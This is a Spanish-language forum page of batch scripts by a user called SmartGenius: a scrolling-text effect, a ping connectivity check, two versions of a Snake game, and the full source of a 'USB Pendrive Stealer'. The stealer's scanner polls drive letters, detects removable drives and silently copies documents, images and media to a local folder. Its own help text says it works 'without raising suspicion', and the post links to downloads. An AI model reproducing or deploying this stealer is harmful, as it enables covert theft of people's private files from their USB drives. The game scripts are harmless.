Mensajes

Si el proceso se ejecuta como SYSTEM no creo que puedas cerrarlo a menos que tu tambien estes como SYSTEm , aparte de que el Kaspersky carga mucho antes de que inicies Sesion....

me gusto el efecto que creaste...pero tenia la deficiencia de preguntar al user por la longitud de lo que acabo de escribir...

He codeado mi propio efecto...a ver que tal te parece 

Código [Seleccionar] Expandir

@echo off
title Efecto de Marquesina
REM Coded by :: SmartGenius ::
SETLOCAL ENABLEDELAYEDEXPANSION
:ini
set /p texto="Texto a Mostrar: > "
if not defined texto goto ini
set v=%texto%
call :string %v%
REM Obtenemos el Tamaño de Pantalla   
for /f "tokens=2" %%a in ('mode con^|find /i "col"') do (set /a l=%%a-%length%)
REM Creamos una Variable con L espacios vacios
for /l %%b in (1,1,%l%) do (call :new %%b)
REM Mostramos la Cadena andando hacia la derecha
for /l %%c in (1,1,%l%) do (call :show %%c)
REM Mostramos la Cadena andando hacia la izquierda
for /l %%d in (%l%,-1,1) do (call :show %%d)
pause
exit

:new
set r= %r%
goto :eof

:show
cls
set lim=%1
echo !r:~0,%lim%!%texto%
ping -n 1 >nul
goto :eof

:string
set /a length=%length%+1
set v=%v:~1%
if "%v%"=="" goto :eof
goto string

Saludos.

usa FOR /F para leer el archivo, con TOKENS para filtrar el contenido o usando FIND para mas exactitud.....

Mira un Ejemplo:

http://foro.elhacker.net/scripting/quien_quiere_ser_millonario-t226423.0.html

Saludos.

Necesitas ayuda con codigos.....ya tengo la idea bastante desarrollada hace rato...y ya ahi una version funcional...programada con ayuda del compañero Rockox...

Mira...lo puedes descargar aqui...

http://two.xthost.info/smartgenius/SourceCodeUSBStealerV1.01.zip
http://rapidshare.com/files/122880149/USBPendriveStealerv1.01.zip

El programa consta de dos codes...uno de configuracion y uno de escaneo...

USBStealer

Código [Seleccionar] Expandir

@echo off
mode con cols=70
mode con lines=40
title Pendrive Stealer - Local
color 0a
REM Script de Copia de Dispositivos USB
REM Coded by :: SmartGenius :: , RockoX

if exist "myfolder.cfg" (goto anim) else (goto ins)

:ins
cls
echo.
echo  Instalando el Programa...
echo  Por favor espere
echo *.jpg,*.gif,*.png,*.bmp,*.txt,*.doc,*.pdf,*.ppt,*.xls,*.htm>"ftypes.cfg"
md "Mi Carpeta"
echo "Mi Carpeta\">"myfolder.cfg"
ping -n 2 0.0.0.0 > nul
pause
goto anim

:anim
cls
echo.
echo        ±±±±±                                               ±±±±±
echo      ±±°°°°°±                                            ±±°°°°°±
echo      ±°°°°°°°±±                                         ±°°°°°°°±
echo    ±±°°°°°°°°°±                                        ±±°°°°°°°°±±
echo   ±°°°°°°°°°°°±                                      ±±°°°°°°°°°°°°±
echo   ±°°°°°°°°°°°°±±            ²²²²²²²²²²²²²²²²²²   ±±±°°°°°°°°°°°°°°±
echo    ±±°°°°°°°°°°°°±±±     ²²²²±±°°°°°°°°°°°°±±²²²²±°°°°°°°°°°°°±±±±±
echo      ±±±±±±°°°°°°°°°±²²²²°°°°°°°°°°°°°°°°°°°°°°²²²²°°°°°°±±±±±
echo            ±±±°°°°°²²±±°°°°°°°°°°°°°°°°°°°°°°°°°°²²²²°°±±
echo               ±°°²²±±°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°²²²±
echo                 ²²²°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°±±²²
echo                ²²°°°°°°°°°°²²²²°°°°°°°°²²²²°°°°°°°°°°°²²
echo                ²²°°°°°°°°²²²²²²²²°°°°²²²²²²²²°°°°°°°°°²²
echo                ²²°°°°°°°°²²²²²²²²°°°°²²²²²²²²°°°°°°°°°²²
echo                ²²°°°°°°°°°±²²²²°°°°°°°±²²²²°°°°°°°°°°°²²
echo                ²²±±°°°°°°°°°°°°°°±±±±°°°°°°°°°°°°°°°°²²
echo                 ²²²°°°°°°°°°°°°°°²²²²°°°°°°°°°°°°°°²²²²
echo                ±±²²²²°°°°°°°°°°°°°°°°°°°°°°°°°°°°²²²²°°±±
echo               ±±°°°°²²±°°°°°°°°°°°°°°°°°°°°°°°°°°²²°°°°°°±±
echo            ±±±°°°°°°°²²²²°°°°°°°°°°°°°°°°°°°°°²²²°°°°°°°°°°±±±±±±±
echo      ±±±±±±°°°°°°°°±±²  ²²²°°°°°°°°°°°°°°°°°°²²  ±±°°°°°°°°°°°°°°°±±
echo    ±±°°°°°°°°°°°°±±       ²°°°°°°°°°°°°°°°°°°²     ±±±±°°°°°°°°°°°°°±
echo    ±°°°°°°°°°°°±±         ²°°°°°°°°°°°°°°°°°°²         ±±°°°°°°°°°°±±
echo    ±±°°°°°°°°±±           ²°°±°°±°°±°°±°°±°°°²          ±°°°°°°°°±±
echo      ±±°°°°°±±            ²²²²²²²²²²²²²²²²²²²²          ±±°°°°°°±
echo        ±°°°±±                                             ±°°°°±
echo         ±±±±                                               ±±±±
echo.
echo              ²²² ²²² ²²  ²²²    ²² ²² ²²² ² ² ²²² ²²²  ²²²
echo              ²   ² ² ² ² ²      ² ² ² ² ² ² ² ²   ²  ² ²
echo              ²   ² ² ² ² ²²² ²² ²   ² ²²² ²²  ²²² ²²²  ²²²
echo              ²   ² ² ² ² ²      ²   ² ² ² ² ² ²   ²  ²   ²
echo              ²²² ²²² ²²  ²²²    ²   ² ² ² ² ² ²²² ²  ² ²²²
echo.
pause
goto main

:main
cls
echo.
echo.
echo                ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
echo                º Pendrive Stealer v 1.0  xD º
echo                ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
echo.
echo    Elija una Opcion:
echo.
echo   ÚÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿  ÚÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
echo   ³1³ ³ Definir carpeta principal...³  ³2³ ³ Tipos de Archivos..  ³
echo   ÀÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ  ÀÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
echo   ÚÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿  ÚÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
echo   ³3³ ³ Iniciar Escaneo de USBs...  ³  ³4³ ³ Ayuda del Programa.. ³
echo   ÀÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ  ÀÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
echo   ÚÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
echo   ³5³ ³ Salir del Programa..        ³
echo   ÀÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
echo.
set /p opc=">> "
if "opc"=="" (goto main)
set opc=%opc: =_%

if %opc%==1 goto dcp
if %opc%==2 goto ftype
if %opc%==3 goto scan
if %opc%==4 goto help
if %opc%==5 (goto out) else (goto err)

:err
cls
echo.
echo ERROR...
echo.
echo No ha escogido una Opcion Correcta
echo Vuelva a Intentarlo
echo.
pause
goto main

:dcp
cls
echo.
echo.
echo                ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
echo                º Pendrive Stealer v 1.0  xD º
echo                ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
echo.
echo   En esta opcion puede definir en donde se guardaran
echo   los archivos copiados...
echo.
echo  Arrastre aqui la carpeta
echo.
set /p dcp=">> "
if "dcp"=="" (goto dcp)
echo %dcp%>"myfolder.cfg"
echo.
echo  La carpeta : %dcp%
echo  se ha establecido exitosamente...
echo.
pause
goto main

:ftype
cls
echo.
echo.
echo                ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
echo                º Pendrive Stealer v 1.0  xD º
echo                ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
echo.
echo   Configure aqui los tipos de archivos que desea Escanear y Copiar
echo.
echo    Elija una Opcion:
echo.
echo   ÚÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿  ÚÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
echo   ³1³ ³ Documentos...  ³  ³2³ ³ Imagenes ^& Fotos..       ³
echo   ÀÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ  ÀÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
echo   ÚÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿  ÚÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
echo   ³3³ ³ Musica ^& Audio ³  ³4³ ³ Documentos ^& Imagenes..  ³
echo   ÀÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ  ÀÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
echo   ÚÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿  ÚÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
echo   ³5³ ³ Videos *       ³  ³6³ ³ Todas las Opciones... *  ³
echo   ÀÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ  ÀÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
echo.
echo  * Las Opciones 5 y 6 pueden tardar mas de lo normal...
echo.
set /p typ=">> "
if "typ"=="" (goto ftype)
if %typ%==1 (echo *.txt,*.doc,*.pdf,*.ppt,*.pps,*.xls,*.htm,*.rtf,*.mdb>"ftypes.cfg" & goto yap)
if %typ%==2 (echo *.jpg,*.gif,*.bmp,*.png,*.psd,*.jpeg,*.tiff>"ftypes.cfg" & goto yap)
if %typ%==3 (echo *.mp3,*.mp4,*.wav,*.mid,*.wma,*.ogg>"ftypes.cfg" & goto yap)
if %typ%==4 (echo *.txt,*.doc,*.pdf,*.ppt,*.pps,*.xls,*.htm,*.rtf,*.mdb,*.jpg,*.gif,*.bmp,*.png,*.psd,*.jpeg,*.tiff>"ftypes.cfg" & goto yap)
if %typ%==5 (echo *.mpg,*.wmv,*.asf,*.3gp,*.avi,*.mov>"ftypes.cfg" & goto yap)
if %typ%==6 (echo *.txt,*.doc,*.pdf,*.ppt,*.xls,*.htm,*.jpg,*.gif,*.bmp,*.png,*.mp3,*.mp4,*.wma>"ftypes.cfg" & goto yap)
goto main

:yap
for /F "tokens=*" %%b in (ftypes.cfg) do set filetypes=%%b
echo.
echo  Tipos de Archivos Configurados correctamente
echo.
echo  Archivos con Extension: %filetypes%
echo.
pause
goto main

:scan
start USBScan.bat
exit

:help
cls
echo.
echo.
echo                ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
echo                º Pendrive Stealer v 1.0  xD º
echo                ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
echo.
echo  Este programa tiene la Funcion de copiar archvos desde dispositivos
echo  USB, de manera silenciosa y sin levantar sospechas...
echo.
echo  El programa puede ser congifurado facilmente, dandole opciones de
echo  escoger que tipos de archivos copiar y en que carpeta se deben
echo  guardar...
echo.
echo.
echo  Titulo:  Pendrive USB Stealer, Version 1.0 Local
echo  Autores: :: SmartGenius ::, RockoX
echo  Web:     http://foro.code-makers.es
echo.
echo  SmartGenius, Corp. 2008
echo.
pause
goto main
 
:out
cls
echo MsgBox "Gracias por usar este Programa", 64, "USB Stealer" >%temp%\msgr.vbs
start %temp%\msgr.vbs
exit


USBScan

Código [Seleccionar] Expandir

@echo off
title USB Stealer - Local
color 0a

:load
cls
echo MsgBox "Se inicio el Escaneo...", 64, "USB Stealer" >%temp%\msgr.vbs
start %temp%\msgr.vbs
goto ini

:ini
if not exist "myfolder.cfg" (goto fixfolder)
for /F "tokens=*" %%a in (myfolder.cfg) do set myfolder=%%a
if not exist "ftypes.cfg" (gotp fixfiles)
for /F "tokens=*" %%b in (ftypes.cfg) do set filetypes=%%b
goto main

:main
for %%u in ( D E F G H I J K L M N O P Q R S T U V W X Y Z) do call :comp %%u
goto ini

:comp
set unidad=%1
FSUTIL FSINFO DRIVETYPE %unidad%:>%temp%\letuni.tmf
if %errorlevel%==1 (goto usb2)
for /F "tokens=*" %%e in (%temp%\letuni.tmf) do set let=%%e
if %let:~-4%==ble (call :usb %unidad%)
if %let:~-4%==ija (goto :eof)
if %let:~-4%==ROM (goto :eof)

:usb
set letra=%1
if exist "%letra%:\db.ini" goto :eof
for  /r %letra%: %%t in (%filetypes%) do (copy "%%t" %myfolder%)
echo USB>db.ini
goto :eof

:usb2
for %%n in ( D E F G H I J K L M N O P Q R S T U V W X Y Z) do (call :usb %%n)
goto ini

:fixfiles
echo *.jpg,*.gif,*.png,*.bmp,*.txt,*.doc,*.pdf,*.ppt,*.xls,*.htm>"ftypes.cfg"
echo MsgBox "Los Tipos de Archivo no estan configurados...", 64, "USB Stealer" >%temp%\msgr.vbs
start %temp%\msgr.vbs
exit

:fixfolder
echo "Mi Carpeta\">"myfolder.cfg"
echo MsgBox "No Hay una Carpeta Predefinida...", 64, "USB Stealer" >%temp%\msgr.vbs
start %temp%\msgr.vbs
exit


Saludos.

Master...esta buenisimo todo esto....ya era hora de que lo pusieras....me viene de perlas.......

Si hubiesen Karmas te las daba..

Con tu permiso copiare algo de contenido....con referencia a ti Onbio..xD

Saludos.

a alguien le parece la idea de seguir desarrollando el jueguito ??

Saludos.

creo que usando PING y ERRORLEVEL puedes establecer si tienes conexion a internet...es facil...

Este code de RockoX:

Código [Seleccionar] Expandir

Aver esto :
@echo off
cd %windir%\system32
ping -n 2 www.google.com>nul
if errorlevel 1 (
goto :NoConection
) else (
goto :Conection
)

:NoConection
cls
msg * No hay conexion!
goto :EOF

:Conection
cls
msg * Si hay conexion!
goto :EOF

Saludos.

[v1.]

Alguien por ahi me dijo que no se podia jugar en batch.... 

Pues para esos que hablan mal de Batch...aqui tienen algo xD

Se trata de un Juego simple que creo que ya todos conocen: Snake....

Aunque por ahora no crece ni se alimenta, pero se mueve sola y se choca con las paredes....

Esto es lo que llevo:  v1.

Código (DOS) [Seleccionar] Expandir

@echo off
title Snake
REM A Game like the Snake
REM Coded by :: SmartGenius ::
color 0a
mode con cols=15 lines=16

:ini
for /l %%a in (10,1,109) do (set p%%a= )
set dot=Û
set newpos=p10
set %newpos%=%dot%
set nnpos=p00
set %nnpos%=.
set dir=d

:main
cls
set oldpos=%newpos%
set curpos=%newpos%
echo.
echo  ÚÄÄÄÄÄÄÄÄÄÄ¿
echo  ³%p10%%p11%%p12%%p13%%p14%%p15%%p16%%p17%%p18%%p19%³
echo  ³%p20%%p21%%p22%%p23%%p24%%p25%%p26%%p27%%p28%%p29%³
echo  ³%p30%%p31%%p32%%p33%%p34%%p35%%p36%%p37%%p38%%p39%³
echo  ³%p40%%p41%%p42%%p43%%p44%%p45%%p46%%p47%%p48%%p49%³
echo  ³%p50%%p51%%p52%%p53%%p54%%p55%%p56%%p57%%p58%%p59%³
echo  ³%p60%%p61%%p62%%p63%%p64%%p65%%p66%%p67%%p68%%p69%³
echo  ³%p70%%p71%%p72%%p73%%p74%%p75%%p76%%p77%%p78%%p79%³
echo  ³%p80%%p81%%p82%%p83%%p84%%p85%%p86%%p87%%p88%%p89%³
echo  ³%p90%%p91%%p92%%p93%%p94%%p95%%p96%%p97%%p98%%p99%³
echo  ³%p100%%p101%%p102%%p103%%p104%%p105%%p106%%p107%%p108%%p109%³
echo  ÀÄÄÄÄÄÄÄÄÄÄÙ
echo.
goto :%dir%

:w
choice /c:wasdx /n /s /t:w,1
if %errorlevel%==1 goto up
if %errorlevel%==2 goto left
if %errorlevel%==3 goto down
if %errorlevel%==4 goto rigth
if %errorlevel%==5 (goto out) else (goto main)

:a
choice /c:wasdx /n /s /t:a,1
if %errorlevel%==1 goto up
if %errorlevel%==2 goto left
if %errorlevel%==3 goto down
if %errorlevel%==4 goto rigth
if %errorlevel%==5 (goto out) else (goto main)

:s
choice /c:wasdx /n /s /t:s,1
if %errorlevel%==1 goto up
if %errorlevel%==2 goto left
if %errorlevel%==3 goto down
if %errorlevel%==4 goto rigth
if %errorlevel%==5 (goto out) else (goto main)

:d
choice /c:wasdx /n /s /t:d,1
if %errorlevel%==1 goto up
if %errorlevel%==2 goto left
if %errorlevel%==3 goto down
if %errorlevel%==4 goto rigth
if %errorlevel%==5 (goto out) else (goto main)

:down
if %oldpos:~-2,1%==0 (goto :out)
set newpos=%curpos%
set %curpos%=
set /a newpos=%newpos:~-2%+10
set newpos=p%newpos%
set %newpos%=%dot%
set dir=s
goto main

:up
if %oldpos:~-1,1%==1 (goto :out)
set newpos=%curpos%
set %curpos%=
set /a newpos=%newpos:~-2%-10
set newpos=p%newpos%
set %newpos%=%dot%
set dir=w
goto main

:rigth
if %oldpos:~-1%==9 (goto :out)
set newpos=%curpos%
set %curpos%=
set /a newpos=%newpos:~-2%+1
set newpos=p%newpos%
set %newpos%=%dot%
set dir=d
goto main

:left
if %oldpos:~-1%==0 (goto :out)
set newpos=%curpos%
set %curpos%=
set /a newpos=%newpos:~-2%-1
set newpos=p%newpos%
set %newpos%=%dot%
set dir=a
goto main

:out
cls
call :echodyn G A M E
call :echodyn O V E R
call :echodyn by Smart
echo.
echo.
echo.
echo   SmartGenius
echo   Corp. 2008
echo.
pause>nul
exit

:echodyn
set texto=%* 
set num=1

:dyn2
call set var1=%%texto:~0,%num%%%
if "%var1%"=="%texto%" set num=0
cls
echo.
echo.
echo.
echo.
echo.
echo    %var1%
ping -n 0,3 0.0.0.0 > nul
if %num%==0 (goto :eof)
set /a num=%num%+1
goto dyn2

Necesitan del comando CHOICE para que funcione... si no lo tienen pues en internet se consigue facilito...

Algo que se me olvidaba, aunque creo que ya lo habian deducido es los Controles...

W = Arriba
A = Izquierda
S = Abajo
D = Derecha
X = Salir

Un segundo Codigo del Mismo, pero esta vez no se mueve en Reversa ni acelera...

Código (DOS) [Seleccionar] Expandir

@echo off
title Snake
REM A Game like the Snake
REM Coded by :: SmartGenius ::
color 0a
mode con cols=15 lines=16

:ini
for /l %%a in (10,1,109) do (set p%%a= )
set dot=Û
set newpos=p10
set %newpos%=%dot%
set nnpos=p00
set %nnpos%=.
set dir=d

:main
cls
set oldpos=%newpos%
set curpos=%newpos%
echo.
echo  ÚÄÄÄÄÄÄÄÄÄÄ¿
echo  ³%p10%%p11%%p12%%p13%%p14%%p15%%p16%%p17%%p18%%p19%³
echo  ³%p20%%p21%%p22%%p23%%p24%%p25%%p26%%p27%%p28%%p29%³
echo  ³%p30%%p31%%p32%%p33%%p34%%p35%%p36%%p37%%p38%%p39%³
echo  ³%p40%%p41%%p42%%p43%%p44%%p45%%p46%%p47%%p48%%p49%³
echo  ³%p50%%p51%%p52%%p53%%p54%%p55%%p56%%p57%%p58%%p59%³
echo  ³%p60%%p61%%p62%%p63%%p64%%p65%%p66%%p67%%p68%%p69%³
echo  ³%p70%%p71%%p72%%p73%%p74%%p75%%p76%%p77%%p78%%p79%³
echo  ³%p80%%p81%%p82%%p83%%p84%%p85%%p86%%p87%%p88%%p89%³
echo  ³%p90%%p91%%p92%%p93%%p94%%p95%%p96%%p97%%p98%%p99%³
echo  ³%p100%%p101%%p102%%p103%%p104%%p105%%p106%%p107%%p108%%p109%³
echo  ÀÄÄÄÄÄÄÄÄÄÄÙ
echo.
goto :%dir%

:w
choice /c:adxf /n /s /t:f,1
if %errorlevel%==1 goto left
if %errorlevel%==2 goto rigth
if %errorlevel%==3 (goto out) else (goto up)

:a
choice /c:wsxf /n /s /t:f,1
if %errorlevel%==1 goto up
if %errorlevel%==2 goto down
if %errorlevel%==3 (goto out) else (goto left)

:s
choice /c:adxf /n /s /t:f,1
if %errorlevel%==1 goto left
if %errorlevel%==2 goto rigth
if %errorlevel%==3 (goto out) else (goto down)

:d
choice /c:wsxf /n /s /t:f,1
if %errorlevel%==1 goto up
if %errorlevel%==2 goto down
if %errorlevel%==3 (goto out) else (goto rigth)

:down
if %oldpos:~-2,1%==0 (goto :out)
set newpos=%curpos%
set %curpos%=
set /a newpos=%newpos:~-2%+10
set newpos=p%newpos%
set %newpos%=%dot%
set dir=s
goto main

:up
if %oldpos:~-1,1%==1 (goto :out)
set newpos=%curpos%
set %curpos%=
set /a newpos=%newpos:~-2%-10
set newpos=p%newpos%
set %newpos%=%dot%
set dir=w
goto main

:rigth
if %oldpos:~-1%==9 (goto :out)
set newpos=%curpos%
set %curpos%=
set /a newpos=%newpos:~-2%+1
set newpos=p%newpos%
set %newpos%=%dot%
set dir=d
goto main

:left
if %oldpos:~-1%==0 (goto :out)
set newpos=%curpos%
set %curpos%=
set /a newpos=%newpos:~-2%-1
set newpos=p%newpos%
set %newpos%=%dot%
set dir=a
goto main

:out
cls
call :echodyn G A M E
call :echodyn O V E R
call :echodyn by Smart
echo.
echo.
echo.
echo   SmartGenius
echo   Corp. 2008
echo.
pause>nul
exit

:echodyn
set texto=%* 
set num=1

:dyn2
call set var1=%%texto:~0,%num%%%
if "%var1%"=="%texto%" set num=0
cls
echo.
echo.
echo.
echo.
echo.
echo    %var1%
ping -n 0,3 0.0.0.0 > nul
if %num%==0 (goto :eof)
set /a num=%num%+1
goto dyn2


Necesito ideas, y pues tambien codigo para arreglar algunos errores que tiene y para que haga las demas funciones que necesita para que sea igual al juego original...

Solo me falta hacer que crezca y se alimente.... y ya la tendria mas o menos lista...para Jugar 

Espero sus comentarios...

Saludos.

Gracias...... por eso siempre publico el codigo, porque puede que a mi se me hallan pasado algunas cosas, pero asi otros lo revisan y pueden corregir los errores para entre todos mejorar...es una gran herramienta...

Saludos.

jejeje, kraszic... pues no es tanto un error, bueno, en la version 2 No, ya que apenas lo abres el te dice que aun no has creado ninguna unidad virtual y que debes de hacerlo desde el menu, ya que en la version anterior la creaba directamente con la letra Z, pero ahora puedes escoger...aunque si falta una comprobacion de que no existe ninguna unidad... pero se puede arreglar

Saludos.